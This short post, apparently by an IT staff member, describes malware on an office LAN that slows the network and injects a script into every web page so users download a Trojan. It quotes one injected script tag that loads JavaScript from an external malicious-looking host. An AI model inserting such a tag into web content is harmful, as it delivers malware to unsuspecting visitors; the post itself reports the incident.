Yesterday, we found the culprit already, the one that make all of our IT Division Network slowed dramatically, even detik.com is faster than website on our local domain (LAN).
The Symptom is like this, when we browse on the internet, on every source in all web is added some script that make the user download the Trojan it self. its hard to differentiate the infected computer and clean computer because there is no difference in the view of the web. the script is look like this :
<script language=”javascript” SRC=”http://mx.content-type.cn:443/day.js”></script>
